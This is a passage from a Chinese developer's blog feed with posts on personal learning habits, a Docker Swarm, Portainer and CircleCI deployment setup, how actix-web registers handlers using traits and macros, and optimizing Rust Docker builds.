    然而又尽力过一段时间的沉思,我才意识到这可能并不是一件坏事,反而让我可以更好地学习下去。

    + +

    别让你练手的项目成为前进的阻碍

    +

    大学阶段和刚工作时,我对造轮子有种极致的疯狂,面对各种奇奇怪怪的需求,我都希望通过自己的努力把它实现出来。我十分同意这确实很锻炼人。

    +

    为了研究 web 框架的原理,花了很大的精力看完了 flask tornado sanic 的 源码,自己造了一个 nougat 出来。看了 fastAPI 和 OpenAPI,写了一个能自动生成 swagger 信息的 flask 路由插件。为了不想用别人的 inline translator,自己写了一个极简的 Chrome 插件。为了管理 GitHub star,写了一个 Chrome 插件。等等这样的点子实在是太多太多了。

    +

    为了造轮子,同时找不到一样跟我有空又对这些项目感兴趣的前端劳动力,我于是决定学习前端。为此,我学了 React、Redux、Mbox 等这些现代的前端框架,又去折腾了 PWA,甚至还学了 React-Native 只是为了想把这些想法迁移到 IOS 或者安卓上。

    +

    这些经历看着属实很奇妙也很有意思,然而在此之后随之而来的便是各种维护噩梦。

    +

    WEB 框架 nougat 有人尝试使用了,也给了很多诸如「为什么你这个框架没有 CLI 控制能力」、「为什么别的框架写某某功能很舒服,然而你这个就那么难受」。于是我踏上了一条「重构-修BUG」的恶性循环之路,为了实现这些功能或者修复某个缺陷,导致了我需要花大量的时间投入在上面,甚者为了修复某些BUG需要把整个框架重构大部分。这显然不是我希望看到的,这个框架不是为了让别人使用而出现的,而是我的一个熟悉底层的过程。

    +

    这样占用大量时间的维护工作占用了我大量的业余学习时间。于是我做了一个很大的改变「我做的项目只为了解决我自己的需求」,在这样的前提下,我拒掉了大量的维护工作,让我可以更加轻松地投入到那些我不懂而又十分感兴趣的领域。

    +

    技术的世界里没有「银弹」

    +

    要时刻在脑子里面保留着一个概念就是「银弹不可能有。如果有,那你肯定被骗了」。

    +

    在大学后半段开始,我做了一个赌我以后职业之旅的决定「我要以 Rust 为我的主导编程语言」。现在看来,Rust 确实在慢慢火起来。但是当时的我,或者说是从开始工作没多久,我对 Rust 有种莫名的崇拜和狂热,希望什么都用 Rust 来实现,无论是能用 shell 实现的脚本,还是用根本还没成熟的 WASM 来写网页前端。

    +

    Rust 确实很强大,这点毋庸置疑。能做与擅长,是两件截然不同的事情。我就是把这两件事情混在了一起。为了用 WASM 写前端,我看了很多所谓的框架,实际上都是一个很简单的雏型。花了几十倍的消耗终于写出了一个性能提升无关的前端。

    +

    看似很有成就感的事情,仔细思考下来实则不然。写了那么多都还只是停留在调用他人框架的阶段,并没有真正地去了解框架的构造和执行原理,甚至没有去了解 WASM 的原理。相比于写逻辑,后者的知识才是更加值得研究的。

    +

    在意识到了这点之后,我慢慢的形成了语言只是一种工具,在合适的场景使用合适的语言才是一个成熟的表现。相比于用 Rust 来写机器学习,这种看着就不可能的事情其实很容易分辨,难就难在那些两者都表现出「我可以」的场景下。

    +

    快速成型、脚本工作就使用 Python;CLI 解析、网络代理处理等就用 Rust;网页前端使用 React。

    +

    银弹可能不存在,但是一把装满了不同「银弹」的手枪是可能存在的。

    +

    多刷文档,别重复工作

    +

    当擅长一门技术之后,就很容易成迷其中,希望写出很多所谓的作品出来表现自己,殊不知其实这些作品都只是表现出你单独一门技术的能力。

    +

    这段时间我就是陷入了这样的困境中,因为自己是擅长 WEB 方向的,同时在熟练使用 actix 之后,脑子里面都是做些什么作品出来。左想右想确实想出了很多,不少也事件出来了,但是都是基于 actix 这个 web 框架的,而且大部分工作都是在「写数据库模型 - CURD」的循环中。

    +

    看似做出了很多有意思的项目,实际上是「业务」,那些东西并没有脱离出那一个特定的技术。

    +

    同时长时间在业务层工作,会形成一种「知其然,不知其所以然」的困境。比如现在我都没搞太懂 actix 到底是怎么跑的,为什么他能做到碾压性的性能压制。

    +

    在这时,我才意识到了自己在底层认知的缺陷。长时间活跃在业务层,缺少了对实现层的了解。为此,如上述所说,我放弃维护了大部分的项目,把这些时间投入到了 RFC 等文档的阅读中。特别是在 Rust 领域里面,单纯的写 Rust 代码 和阅读 Rust RFC 的发展、参与对某个实现的讨论的感觉是完全不一样的。这也让我了解到了更多 PL 领域的内容。

    +

    同时在深入了解底层知识后,才深刻体会到语言只是一种工具的感觉。在工作之前,我都以 Python 和 Rust 为主,然而工作确实以 Java 为主,在没有过多的 Java 基础下,通过对底层抽象的了解,可以在工作中不至于出现什么问题。

    +

    在抛弃掉大量相似的项目后,反而有了更多的时间去了解其他领域的知识,这无论是在深度和广度都十分有用。

    +]]>
    简单几步打造个人集群和自动化流水线https://www.kilerd.me/personal-docker-cluster-and-ci-package-pipeline在认识的小伙伴发了他做的项目部署文档出来之后,我便决定开始写这篇文章,原因是他使用的部署方式太麻烦,而且太不自动化,同时有时候也会因为开发任务繁忙导致没能部署好等等。

    +

    这篇文章是介绍了一个极度适合用于个人或者几个人的小团队使用的集群搭建方式,在保证了安全性的同时,提供了几乎全自动的部署方式,在手动配置一次之后,每次服务更新都是自动触发的,极大地减少了部署的时间。

    +

    本篇文章适用于 GIT-FLOW 类似的「master 即 生产代码」的一切工作模式(或者某一个分支为生产代码)。如果您的开发模式不符合这个特征,那么可以关闭网页了。

    +]]>
    2019-06-13 13:16:33 +08:00在认识的小伙伴发了他做的项目部署文档出来之后,我便决定开始写这篇文章,原因是他使用的部署方式太麻烦,而且太不自动化,同时有时候也会因为开发任务繁忙导致没能部署好等等。

    +

    这篇文章是介绍了一个极度适合用于个人或者几个人的小团队使用的集群搭建方式,在保证了安全性的同时,提供了几乎全自动的部署方式,在手动配置一次之后,每次服务更新都是自动触发的,极大地减少了部署的时间。

    +

    本篇文章适用于 GIT-FLOW 类似的「master 即 生产代码」的一切工作模式(或者某一个分支为生产代码)。如果您的开发模式不符合这个特征,那么可以关闭网页了。

    + +

    服务器架构

    +

    服务器方面,为了方便使用,我们选择了 docker swarm 而不是 k8s,我们先看一个全览图:

    +

    server-structure.jpg

    +

    整个架构的思路就是用 NGINX 来代理所有的 web 应用,内部每个应用都以 stack 的方式部署,同时配合 Portainer 进行自动化更新。一个超级简单的部署模式,却基本满足了我个人的所有开发场景。

    +

    环境部署

    +

    首先你要有一台独立的服务器,什么发行版都不所谓了,我们不会在宿主机里面干任何事情,一切都是在Docker 内实现。

    +

    服务器只需要对外暴露 80 和 443 端口即可,ssh 使用密钥的方式登陆保证安全。

    +

    安装Docker 并启动 Docker Swarm 模式

    +

    因为这里采用了单机的方式,所以一步就启动了 swarm 模式:

    +
    docker swarm init
    +
    +

    安装 Nginx

    +

    在这里 Nginx 作为 Load Balancer 和自动 HTTPS 的工具,需要实现服务发现的功能,你可以用 docker-gen 自己撸一个,也可以采用现成的软件来完成。这里我才用了这个 buchdag/letsencrypt-nginx-proxy-companion-compose

    +

    先创建一个 nginx network:

    +
    docker network create nginx-net --attachable
    +
    +

    因为我喜欢吧 volume 不与任何服务直接挂钩,所以我的 volume 都是独立创建的:

    +
    docker volume create nginx-conf
    +docker volume create nginx-vhost
    +docker volume create nginx-html
    +docker volume create nginx-dhparam
    +docker volume create nginx-certs
    +
    +

    最后以 stack 的模式启动 nginx:

    +
    version: '3'
    +
    +services:
    +
    +  nginx-proxy:
    +    image: jwilder/nginx-proxy
    +    ports:
    +      - "80:80"
    +      - "443:443"
    +    volumes:
    +      - nginx-conf:/etc/nginx/conf.d
    +      - nginx-vhost:/etc/nginx/vhost.d
    +      - nginx-html:/usr/share/nginx/html
    +      - nginx-dhparam:/etc/nginx/dhparam
    +      - nginx-certs:/etc/nginx/certs:ro
    +      - /var/run/docker.sock:/tmp/docker.sock:ro
    +    labels:
    +      - "com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy"
    +    networks:
    +      - nginx-net
    +
    +  letsencrypt:
    +    image: jrcs/letsencrypt-nginx-proxy-companion
    +    depends_on:
    +      - nginx-proxy
    +    volumes:
    +      - nginx-vhost:/etc/nginx/vhost.d
    +      - nginx-html:/usr/share/nginx/html
    +      - nginx-dhparam:/etc/nginx/dhparam:ro
    +      - nginx-certs:/etc/nginx/certs
    +      - /var/run/docker.sock:/var/run/docker.sock:ro
    +    networks:
    +      - nginx-net
    +
    +volumes:
    +  nginx-conf:
    +    external:
    +      name: nginx-conf
    +  nginx-vhost:
    +    external:
    +      name: nginx-vhost
    +  nginx-html:
    +    external:
    +      name: nginx-html
    +  nginx-dhparam:
    +    external:
    +      name: nginx-dhparam
    +  nginx-certs:
    +    external:
    +      name: nginx-certs
    +
    +networks:
    +  nginx-net:
    +    external: true
    +
    +
    docker stack deploy --compose-file nginx.yml nginx
    +
    +

    OK,这个时候 nginx 就已经创建好了。

    +

    安装 Portainer

    +

    Portainer 是一个为数不多的简洁,消耗资源又少的 docker 管理面板,有他可以更加直观地管理集群的内容,同时新版的 Portainer 还提供了一个比较方便的更新服务的方法,所以他对于我来说是必须的

    +
    version: "3"
    +services:
    +  agent:
    +    image: portainer/agent
    +    environment:
    +      # REQUIRED: Should be equal to the service name prefixed by "tasks." when
    +      # deployed inside an overlay network
    +      AGENT_CLUSTER_ADDR: tasks.agent
    +      # AGENT_PORT: 9001
    +      # LOG_LEVEL: debug
    +    volumes:
    +      - /var/run/docker.sock:/var/run/docker.sock
    +      - /var/lib/docker/volumes:/var/lib/docker/volumes
    +    networks:
    +      - agent_network
    +    deploy:
    +      mode: global
    +      placement:
    +        constraints: [node.platform.os == linux]
    +
    +  portainer:
    +    image: portainer/portainer
    +    command: -H tcp://tasks.agent:9001 --tlsskipverify
    +    environment:
    +      VIRTUAL_HOST: portainer.kilerd.me
    +      VIRTUAL_PORT: 9000
    +      LETSENCRYPT_HOST: portainer.kilerd.me
    +      LETSENCRYPT_EMAIL: blove694@gmail.com
    +    volumes:
    +      - portainer_data:/data
    +    networks:
    +      - agent_network
    +      - nginx-net
    +    deploy:
    +      mode: replicated
    +      replicas: 1
    +      placement:
    +        constraints: [node.role == manager]
    +
    +networks:
    +  agent_network:
    +    driver: overlay
    +  nginx-net:
    +    external: true
    +
    +volumes:
    +  portainer_data:
    +
    +

    注意:这里不能直接照抄配置文件了:在 portainer 这个服务里面,对外暴露出了一个GUI管理页面,他是需要通过 nginx 进行代理才能访问的,所以需要修改 VIRTUAL_HOST LETSENCRYPT_HOST 为你的域名, LETSENCRYPT_EMAIL 为你的邮箱。

    +
    docker stack deploy --compose-file portainer.yml portainer
    +
    +

    好,不出意外的话,你就可以通过 https://你的域名 来访问到 Portainer 的页面了,进去改密码,就完事了。

    +

    部署自己的 Docker Registry

    +

    首先先创建 volumes:

    +
    docker volume create registry_data
    +docker volume create registry_auth
    +
    +

    然后在 registry_auth 生成一个用于提供密码保护的配置文件 .passwd ,因为 registry 没有密码很不安全

    +
    cd /var/lib/docker/volumes/registry_auth/_data
    +docker run --entrypoint htpasswd registry:2 -Bbn 用户名 密码 > .passwd
    +
    +

    上述不要直接复制,请修改用户名密码

    +

    然后,部署 stack:

    +
    version: "3"
    +services:
    +  registry:
    +    image: registry:2
    +    environment:
    +      VIRTUAL_HOST: registry.kilerd.me
    +      VIRTUAL_PORT: 5000
    +      LETSENCRYPT_HOST: registry.kilerd.me
    +      LETSENCRYPT_EMAIL: blove694@gmail.com
    +      REGISTRY_AUTH: htpasswd
    +      REGISTRY_AUTH_HTPASSWD_PATH: /auth/.passwd
    +      REGISTRY_AUTH_HTPASSWD_REALM: Registry Realm
    +    volumes:
    +      - registry_data:/var/lib/registry
    +      - registry_auth:/auth
    +    networks:
    +      - nginx-net
    +volumes:
    +  registry_auth:
    +    external:
    +      name: registry_auth
    +  registry_data:
    +    external:
    +      name: registry_data
    +
    +networks:
    +  nginx-net:
    +    external: true
    +
    +
    +

    上述不要直接复制,请修改访问地址,邮箱

    +

    因为 nginx 有默认最大传输大小,所以可能会导致docker push image 失败,在 image 太大时,所以需要一下命令取消限制:

    +
    cd /var/lib/docker/volumes/nginx-vhost/_data
    +echo "client_max_body_size 0;" > registry.kilerd.me
    +
    +

    上述不要直接复制,请修改域名

    +

    这样必要的东西就完成了,环境就完全搭建完毕。

    +

    自动化流水线

    +

    接下来就是怎么通过流水线自动发布新版本的应用了,这里会以我的一个小项目为例子,一一说明你需要怎么做。

    +

    假设我们的项目就是一个简单的文本:

    +
    echo "hello world" > index.html
    +
    +

    然后我们编写一个超级简单的 Dockerfile:

    +
    FROM python:3.7
    +
    +COPY index.html index.html
    +
    +EXPOSE 8000
    +CMD ["python -m http.server 8000"]
    +
    +

    这个docker 会暴露出 8000 端口作为 http 访问。

    +

    Travis CI or Circle CI

    +

    相比自己搭建一套CI,我现在了 Circle CI 来做持续集成和持续部署。我们的策略是这样的:

    +
      +
    • 如果不是 master 分支,不执行
    • +
    • 打包docker 镜像
    • +
    • 推送到我们刚刚部署的 Registry
    • +
    • 更新我们的服务
    • +
    +

    先看看 circle ci 的配置文件:

    +
    version: 2
    +jobs:
    +  build:
    +    working_directory: /app
    +    docker:
    +      - image: docker:17.05.0-ce-git
    +    steps:
    +      - checkout
    +      - setup_remote_docker
    +      - restore_cache:
    +          keys:
    +            - v1-{{ .Branch }}
    +          paths:
    +            - /caches/app.tar
    +      - run:
    +          name: Load Docker image layer cache
    +          command: |
    +            set +o pipefail
    +            docker load -i /caches/app.tar | true
    +      - run:
    +          name: Build application Docker image
    +          command: |
    +            docker build --cache-from=app -t app .
    +      - run:
    +          name: Save Docker image layer cache
    +          command: |
    +            mkdir -p /caches
    +            docker save -o /caches/app.tar app
    +      - save_cache:
    +          key: v1-{{ .Branch }}-{{ epoch }}
    +          paths:
    +            - /caches/app.tar
    +      - run:
    +          name: Push to registry
    +          command: |
    +            docker login registry.kilerd.me -u 用户名 -p 密码
    +            docker tag app registry.kilerd.me/app
    +            docker push registry.kilerd.me/app
    +  deploy:
    +    machine:
    +      enabled: true
    +    steps:
    +      - run:
    +          name: update service
    +          command: |
    +            curl -X POST PORTAINER_WEBHOOK_URL
    +workflows:
    +  version: 2
    +  build-and-deploy:
    +    jobs:
    +      - build:
    +          filters:
    +            branches:
    +              ignore:
    +                - develop
    +                - /feature-.*/
    +      - deploy:
    +          requires:
    +            - build
    +          filters:
    +            branches:
    +              only: master
    +
    +

    上面这个配置信息很多都是与缓存有关的,用来加快docker build 的过程,主要的只有几行:

    +
      +
    • docker login registry.kilerd.me -u 用户名 -p 密码 登陆部署的 Registry
    • +
    • docker tag app registry.kilerd.me/app 打 TAG
    • +
    • docker push registry.kilerd.me/app 推送
    • +
    • curl -X POST PORTAINER_WEBHOOK_URL 更新服务,这里因为还没有在集群里面创建 stack,所以还没有这个 PORTAINER_WEBHOOK_URL ,下文会补上。
    • +
    +

    注意:上述用户名、密码、PORTAINER_WEBHOOK_URL 请用 circle 的 environment variable 来储存,不要直接写在配置文件内 (作者就吃了这样的亏,导致项目无法开源)

    +

    OK,推到项目仓库,circle ci 就开始执行了,配置没问题的话, registry 里面就已经有这个application 的 docker 镜像了,但是更新会失败,因为我们还没有创建application的stack。

    +

    Application Stack

    +

    对于一个应用我们都要创建一个独立的stack,并接入 nginx-net 让 nginx 为应用代理http,同时申请 https 证书。

    +

    那么这个应用的 stack 文件要这么写:

    +
    version: "3"
    +services:
    +  backend:
    +    image: registry.kilerd.me/app:latest
    +    environment:
    +      VIRTUAL_HOST: test.kilerd.me
    +      VIRTUAL_PORT: 8000
    +      LETSENCRYPT_HOST: test.kilerd.me
    +      LETSENCRYPT_EMAIL: blove694@gmail.com
    +    networks:
    +      - nginx-net
    +
    +networks:
    +  nginx-net:
    +    external: true
    +  backend:
    +
    +

    上述配置文件不要直接复制,请修改 镜像地址,域名,邮箱

    +

    创建 stack,之后我们就去要去找到刚刚缺失的那个 PORTAINER_WEBHOOK_URL

    +

    Screen Shot 2019-06-13 at 9.01.43 PM.png

    +

    进入你想更新的那个 Service Detail 页面,开启 Service webhook 功能,链接就出来了,把它复制到circle的配置中。

    +

    一切就完成了。

    +

    开发流程

    +

    如果你的开发流程是基于 GIT-FLOW 的话,那么可以 follow 一下步骤进行开发 :

    +
      +
    • feature/xxx 分支开发对于 Feature
    • +
    • 开发完成进入 develop 分支进行验证
    • +
    • release version 阶段把 develop 合并进 master 分支
    • +
    • Circle CI 收到 master 分支的推送 webhook, 触发docker image 构建
    • +
    • 构建完成,推送 image 到 registry
    • +
    • 推送完成,通过 PORTAINER_WEBHOOK_URL 触发 Portainer 更新指定的 Service
    • +
    +
    +

    docker service update xxx 一直都有个问题,不会主动拉取latest的镜像,portainer 自带的这个可以满足,所以说在我的开发环境里面他是必须的。比如就只能 ssh 到服务器,手动执行命令更新。

    +
    +

    所以在开发阶段,只要开发然后推送,其他都由 CI 帮你完成所有的部署功能。

    +

    缺点和优化的地方

    +
      +
    • 这个部署方式只适用于单机 docker swarm 集群,多机需要用 NAS 来创建 volume
    • +
    • 如果打包出来的docker image 无法执行,没有一个有效的回退旧版本机制
    • +
    • 目前没有找到比较好的日志收集方式
    • +
    +]]>
    Actix通过什么方法来实现路由注册的.RUSThttps://www.kilerd.me/rust-how-actix-register-route-in-rust如果你写过 actix-web 1.0 的代码,会发现在路由注册的函数中,你可以传入各种不同签名的函数题。

    +
    App::new()
    +        .service(
    +            web::scope("/admin/")
    +                .service(
    +                    web::resource("/article").route(
    +                        web::post().to(post_method),
    +                        web::delete().to(delete_method)
    +                    ),
    +                )
    +
    +

    不难发现,根据业务的不同,传入 to 方法中的函数签名必然会不同,那么 Actix 是怎么处理的呢?或者说是怎么实现这个功能的。接下来我们将一步一步实现这一个类似的需求。

    +]]>
    2019-05-13 08:40:47 +08:00如果你写过 actix-web 1.0 的代码,会发现在路由注册的函数中,你可以传入各种不同签名的函数题。

    +
    App::new()
    +        .service(
    +            web::scope("/admin/")
    +                .service(
    +                    web::resource("/article").route(
    +                        web::post().to(post_method),
    +                        web::delete().to(delete_method)
    +                    ),
    +                )
    +
    +

    不难发现,根据业务的不同,传入 to 方法中的函数签名必然会不同,那么 Actix 是怎么处理的呢?或者说是怎么实现这个功能的。接下来我们将一步一步实现这一个类似的需求。

    + +

    最小的执行框架

    +

    为了实现这个功能,我们先模拟出一个最小的框架:有一个路由 Router 他里面有一个方法 to 来注册 handler,为了方便同时关注我们所想的,handler 这里就设计成只能返回 String

    +
    #[derive(Debug)]
    +enum Method {
    +    Head,
    +    Option,
    +    Get,
    +    Post,
    +    Patch,
    +    Put,
    +    Delete,
    +}
    +
    +struct Router;
    +
    +impl Router {
    +    pub fn to<H>(&self, method: Method, handler: H) -> &Self
    +    where
    +        H: Fn() -> String,
    +    {
    +        println!("handle route {:?}", method);
    +        self
    +    }
    +}
    +
    +fn public_route() -> String {
    +    "hello world".into()
    +}
    +
    +fn main() {
    +    let router = Router {};
    +    router.to(Method::Get, public_route);
    +}
    +
    +
    +

    代码:https://gist.github.com/8c8c8ad0dbe21d0ebacc8d9f6f5f5c78

    +

    在这个演示代码中 17L,限定了传入的 handler 只能是 Fn()->String,意思是没有参数,同时返回值为 String

    +

    允许传入不同参数

    +

    Rocket 和 Actix 都不约而同的采用了 Request Guard 的方式来对路由进行限制或者扩展,有一个例子是说,如果我们希望一个路由只有授权之后才能访问,那么这个 Handler 是这样签名的:

    +
    fn private_route(token: Token) -> String {
    +    "hello private world".into()
    +}
    +
    +

    当我们注册到 Router 时,必然需要调用 to 方法,router.to(method::Post, private_route) ,那会出现一下的错误

    +
    error[E0593]: function is expected to take 0 arguments, but it takes 1 argument
    +  --> src/main.rs:37:6
    +   |
    +29 | fn private_route(token: Token) -> String {
    +   | ---------------------------------------- takes 1 argument
    +...
    +37 |     .to(Method::Post, private_route);
    +   |      ^^ expected function that takes 0 arguments
    +
    +error: aborting due to previous error
    +
    +

    错误原因是说 to 里面的 handler 范型约束了不能带参数,而 Rust 又不能写出类似 where H: Fn() -> String | Fn(Token) -> String 的或关系的骚操作,所以只能把这些关系再抽象一层,于是就抽象出了 Trait HandlerFactory。 这个 Trait 只是把不同的handler 包装成相似的签名。

    +
    trait HandlerFactory<P> {
    +    fn call(&self, _: P) -> String;
    +}
    +
    +

    这下我们就可以通过 handler.call() 来执行这些 handler。

    +

    同时,我们对刚刚这两个Handler 实现一下这个 Trait HandlerFactory

    +
    impl<F> HandlerFactory<()> for F where F: Fn() -> String {
    +    fn call(&self, _: ()) -> String {
    +        (self)()
    +    }
    +}
    +
    +impl<F> HandlerFactory<(Token, )> for F
    +    where F: Fn(Token) -> String,
    +{
    +    fn call(&self, params: (Token, )) -> String {
    +        (self)(params.0)
    +    }
    +}
    +
    +

    顺便再改一下 to 的签名,让 to 接受 HandlerFactory 的类型就可以把刚刚的两个handler 都通过 to方法来注册了。

    +

    详情代码看这里:https://gist.github.com/3b166bc90bd6ee6dcb20d3b1f751e119

    +

    FromRequest 的抽象

    +

    在第二个handler 里面,我们传入了Token 类型的参数,同时用了 impl<F> HandlerFactory<(Token, )> for Fwhere F: Fn(Token) -> String 来注册签名,那么如果我们有大量不同类型的参数的话,是不是都要一个一个明确的写出声明呢?其实不然,我们可以给这些类型共同实现一个叫 FromRequest 的Trait,来统一处理。

    +
    trait FromRequest {
    +    fn from_request() -> Self where Self: Sized;
    +}
    +
    +

    impl FromRequest for Token, impl FormRequest for String ... 的方法实现之后,Router 知道这是一个「实现了 FromRequest Trait 」的类型就可以了。意味着在 to 的签名里面可以换成 Trait 的名字,而不是某种具体的类型。又因为我们需要告诉 HandlerFactory 这些参数的具体类型,所以需要在其加多一个范型参数。

    +
    trait HandlerFactory<P> {
    +    fn call(&self, _: P) -> String;
    +}
    +
    +

    再看看对单个参数的实现

    +
    impl<F, P> HandlerFactory<(P, )> for F
    +    where F: Fn(P) -> String,
    +          P: FromRequest
    +{
    +    fn call(&self, params: (P, )) -> String {
    +        (self)(params.0)
    +    }
    +}
    +
    +

    在 3L 我们明确地指出 P 需要是实现了 FromRequest 的 类型。 好,需求就实现了,具体实现在这里

    +

    多个参数怎么办

    +

    handler 里面不可能永远都只有一个参数吧。再看看上面的那个代码,我们在 HandlerFactory<(P, )> 其实是传入了一个 Tuple,里面只有一个值,类型是 P,同时 P 还是 FromRequest 的类型。

    +

    那是不是意味着只要我们有一个 HandlerFactory<(P, P2)> 的实现就可以完成两个参数的传入了呢?没错就是这样,所以我们可以写下以下的代码:

    +
    impl<F, P, P2> HandlerFactory<(P, P2)> for F
    +    where F: Fn(P, P2) -> String,
    +          P: FromRequest,
    +          P2: FromRequest
    +{
    +    fn call(&self, params: (P, P2)) -> String {
    +        (self)(params.0, params.1)
    +    }
    +}
    +
    +

    那三个参数呢?四个参数呢?五个呢?以此往下,是需要重复写大量的 impl 代码的。但是有一个问题是,对于不同的参数,它的函数签名又不一样,不能用「为某种类型实现某种 Trait」的方式一次性写完。但是又不想写那么多重复的代码怎么办?

    +

    在详细看看一个参数的签名和两个参数的签名,其实只有几个地方不一样,而且大致都能复用,那么这时候宏的作用就出来了。这里我从 actix 模仿了一个出来。

    +
    macro_rules! factory_tuple ({ $(($n:tt, $T:ident)),+} => {
    +    impl<F, $($T,)+> HandlerFactory<($($T,)+)> for F
    +    where F: Fn($($T,)+) -> String,
    +    {
    +        fn call(&self, param: ($($T,)+)) -> String {
    +            (self)($(param.$n,)+)
    +        }
    +    }
    +});
    +
    +

    这里 Actix 的源码在src/handler.rs#L376

    +

    关于 Rust 宏的签名可以通过这个网站来查看它的签名。

    +

    那么我们在实现不同参数的时候就可以通过以下简单的代码来简单实现:

    +
    factory_tuple!((0, A));
    +factory_tuple!((0, A), (1, B));
    +factory_tuple!((0, A), (1, B), (2, C));
    +
    +

    对于三个参数的宏实现,展开之后是这个样子的:

    +
    impl<F, A, B, C, > HandlerFactory<(A, B, C, )> for F
    +    where F: Fn(A, B, C ) -> String,
    +{
    +    fn call(&self, param: (A, B, C, )) -> String {
    +        (self)(param.0, param.1, param.2 )
    +    }
    +}
    +
    +

    具体代码可以看看这里

    +

    最后

    +

    这个场景确实是很常见的,这里用了以下几个特性来实现了这个功能:

    +
      +
    • 为某种类型实现Trait
    • +
    • 为「实现了某种Trait」的类型实现Trait
    • +
    • 利用宏消除重复代码
    • +
    +

    彩蛋

    +

    看回 acitx-web handler 的实现,它只实现到了10个参数,那是不是说只要写出 11 个参数的 handler 就会报错呢?我们感觉来试一下。

    +
    
    +use actix_web::{web, App, HttpServer, Responder};
    +
    +fn a_lot_parameters(
    +    a: web::Path<String>,
    +    b: web::Path<String>,
    +    c: web::Path<String>,
    +    d: web::Path<String>,
    +    e: web::Path<String>,
    +    f: web::Path<String>,
    +    g: web::Path<String>,
    +    h: web::Path<String>,
    +    i: web::Path<String>,
    +    j: web::Path<String>,
    +    //    k: web::Path<String>,
    +    //    l: web::Path<String>,
    +    //    m: web::Path<String>,
    +) -> impl Responder {
    +    "hello world"
    +}
    +
    +fn main() {
    +    HttpServer::new(move || {
    +        App::new().route(
    +            "/{a}/{b}/{c}/{d}/{e}/{f}/{g}/{h}/{i}/{j}/{k}/{l}/{m}",
    +            web::get().to(a_lot_parameters),
    +        )
    +    })
    +    .bind(("0.0.0.0", 8000))
    +    .unwrap()
    +    .run();
    +}
    +
    +

    10个的情况正常启动了项目。好我们吧注释去掉一个,再启动看看会不会报错

    +
    error[E0277]: the trait bound `fn(actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>) -> impl actix_web::responder::Responder {a_lot_parameters}: actix_web::handler::Factory<_, _>` is not satisfied
    +   --> src/main.rs:121:24
    +    |
    +121 |             web::get().to(a_lot_parameters),
    +    |                        ^^ the trait `actix_web::handler::Factory<_, _>` is not implemented for `fn(actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>, actix_web::types::path::Path<std::string::String>) -> impl actix_web::responder::Responder {a_lot_parameters}`
    +
    +error: aborting due to previous error
    +
    +

    YEAH,预期地报错了✌️

    +]]>
    优化 Rust 的项目 Docker 打包流程.Rusthttps://www.kilerd.me/rust-auto-optimize-dockerize-procedure在把 Project Rubble 从 Rocket 框架迁移到 Actix-web 的过程中,我顺便把困惑已久的 Docker 打包流程优化了不少。

    +

    这篇文章适用于那些在项目中带有 Denpendencies.lock 类似的固定依赖版本的 LOCK 文件。

    +]]>
    2019-04-28 15:52:05 +08:00在把 Project Rubble 从 Rocket 框架迁移到 Actix-web 的过程中,我顺便把困惑已久的 Docker 打包流程优化了不少。

    +

    这篇文章适用于那些在项目中带有 Denpendencies.lock 类似的固定依赖版本的 LOCK 文件。

    + +

    一般的构建流程可以分为以下几个步骤:拉取最新代码 -> 构建 -> 打包 。拉取代码一般都交由 CI 来完成。下文会着重讲我是怎么优化构建流程的,同时我会依照 Project Rubble 来做真实场景说明,技术栈如下: Rust + Travis CI

    +

    什么都自己编译

    +
    FROM rust:1.29
    +RUN cargo install diesel_cli --no-default-features --features postgres
    +EXPOSE 8000
    +COPY . /app
    +WORKDIR /app
    +RUN cargo build --release
    +ENTRYPOINT ["sh", "./entrypoint.sh"] 
    +
    +

    这个阶段我们只考虑「如何把项目打包出 docker 的镜像」,所以在这个 Dockerfile 中 有两个超级耗时的命令:

    +
      +
    • cargo install diesel_cli --no-default-features --features postgres
    • +
    • cargo build --release
    • +
    +

    第一步实际上是安装 diesel_cli ,这是为了项目的 数据库 Migration 服务的,因为在 entrypoint.sh 需要调用 diesel migration run 命令来更新数据库。

    +

    第二步则是构建我们自己的项目。

    +

    那么在这个场景下,第一步看似是多余的,diesel_cli 的作者肯定对自己的项目用 CI 跑过,测试过。那么我们是否能通过构建好的镜像来缩减这一步的耗时呢。

    +

    使用打包好的基础镜像

    +

    结论是可以的,虽然该库的作者并没有提供这么一个 Docker 镜像,但是社区上面有人封装过了 clux/diesel_cli, 所以我们可以用以下的方法来缩减我们构建的时间。

    +
    FROM clux/muslrust:nightly as builder
    +COPY . /app
    +WORKDIR /app
    +RUN cargo build --release
    +
    +FROM clux/diesel-cli
    +COPY --from=builder /app/target /application/target
    +COPY --from=builder /app/migrations /application/migrations
    +COPY --from=builder /app/Rocket.toml /application/Rocket.toml
    +COPY --from=builder /app/entrypoint.sh /application/entrypoint.sh
    +COPY --from=builder /app/target/x86_64-unknown-linux-musl/release/rubble /application/rubble
    +
    +EXPOSE 8000
    +WORKDIR /application
    +CMD ["sh", "./entrypoint.sh"]
    +
    +

    那么在看回这个构建过程,只剩下一步耗时操作 cargo build --release ,我们自己项目的构建过程,这里看似不能再做时间的缩减了,实则不然。

    +

    我们来分析一下构建步骤内部是如何操作的:

    +
      +
    • 分析 Cargo.tomlCargo.lock 来确定该应用所依赖的库和库的版本
    • +
    • Crates 下载这些制定版本的库
    • +
    • 编译这些依赖库
    • +
    • 编译自己的应用
    • +
    +
    +

    在做深入的分析之前,我们先要了解一下 docker build 的缓存机制,简单来说,docker 会对 dockerfile 中的每一步操作进行记录,尤其是 COPYADD 操作,如果 COPY 之后的 文件HASH值(这里值的是整个 docker 镜像的哈嘻之)不变,那么在COPY 之后的 RUN 都会沿用之前的运行结果,直接命中缓存。

    +

    来一个例子是说,假设我们写一个这样的Dockerfile

    +
    copy test.txt
    +RUN cp test.txt copy.txt
    +
    +
      +
    • 第一次执行,我们传入了内容为 hello worldtest.txt 文件,docker得到执行后的hash A,然后只想步骤二,得到 hash B
    • +
